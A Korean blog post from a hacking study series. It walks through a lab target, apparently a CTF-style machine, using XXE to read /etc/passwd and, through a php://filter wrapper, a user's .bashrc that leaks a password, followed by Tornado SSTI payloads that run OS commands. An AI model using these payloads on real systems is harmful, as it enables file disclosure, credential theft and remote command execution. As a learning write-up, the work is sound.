XML을 이용한 XXE Injection

Cura·2024년 2월 11일

스터디-모의해킹

목록 보기
3/4

페이지 분석, XML 취약점

  • 입력 창이 4개 존재한다

  • Email에 들어가는 값이 반환 되는 것을 확인할 수 있다.

  • XML을 사용하므로 해당하는 XXE 취약점을 시도해 볼 수 있을 듯 하다.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY root SYSTEM 'file:///etc/passwd'>
]>
<root>
<name>1</name>
<tel>2</tel>
<email>&root;</email>
<password>4</password>
</root>

  • XXE 취약점이 작동하는 것을 확인 할 수 있다.

  • 리눅스에서 일반 사용자 계정은 home 디렉토리를 사용한다.

    • passwd 파일에 home 를 검색한다

  • saket 이라는 이름의 사용자를 확인 할 수 있다.
  • 또한 시작 경로가 /bin/bash 인 것으로 bash쉘을 사용하는 것을 확인 할 수 있다.
  • 그렇다면 .bashrc 파일을 열어보자

  • 아무것도 안 나온다
  • 이는 참조하는 파일 형식이 XML 형식에 맞지 않아 생기는 문제이다
    • '</>/&' 과 같은 XML 특수문자가 섞여있는 경우이다
  • 정상적으로 출력을 받기 위해 php의 wrapper 클래스로 인코딩 하여 출력한다.
  • 복호화가 쉽고 간편한 base64 형식을 사용한다.
php://filter/convert.base64-encode/resource=/home/saket/.bashrc

  • 인코딩 된 출력 값이 나왔다.
  • 디코딩 해보면

  • bashrc 내용을 확인 할 수 있다.
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# 중략

#Setting Password for running python app
username="admin"
password="Saket!#$%@!!"
  • 파이썬 애플리케이션에서 사용한다는 패스워드를 볼 수 있다.
  • 사전 조사에서 파이썬 기반인 토네이도 서버를 확인 할 수 있었고, 해당 페이지에서 비밀번호를 받았으니 입력해본다.

  • 로그인이 되는 것을 확인할 수 있다
  • name 파라미터를 받을 것으로 예측되므로 버프 스위트로 다시 연결해본다.

  • GET 파라미터를 그대로 쓰는 것으로 보인다.
  • 입력이 가능하므로 토네이도 서버 인젝션 취약점을 알아본다

SSTI 취약점

  • SSTI 취약점은 웹 템플릿에서 발생하는 취약점으로, 언어에 맞는 코드 삽입이 가능한 취약점이다.
  • 사전 조사에서 9999 포트는 토네이도 서버를 사용 하는 것으로 확인되었고, 토네이도 서버는 jinja2 템플릿을 가장 많이 사용하므로 그 형식에 맞게 삽입을 시도한다.

  • 123*123이 계산되어 출력 되는 것으로 보아 SSTI 취약점이 존재한다 볼 수 있다.
  • 토네이도 서버는 파이썬을 사용하므로 파이썬 코드, 그중에서 리눅스 명령어를 실행할 수 있는 OS 모듈을 임포트 하여 사용 가능한지 확인한다.
{% import os %}
{{os.system('ls -l  | cat > ~/asdf.txt')}}
{{open('/home/saket/asdf.txt','rb').read()}}
  • ls - l의 출력 값을 asdf.txt에 저장한다
  • asdf.txt를 읽기 모드로 열어서 그 값을 읽는다.
  • %와 공백 등의 문자가 있으므로 URL 로 인코딩 하여 전송할 필요가 있다.

  • 명령어가 정상 작동 하는 것을 확인할 수 있다.
  • 해당 방법으로 명령어를 실행하여 리버스 쉘 연결을 수립한다.
profile
우리는 울지 않는 부엉이요, 발자국 없는 범이다.

0개의 댓글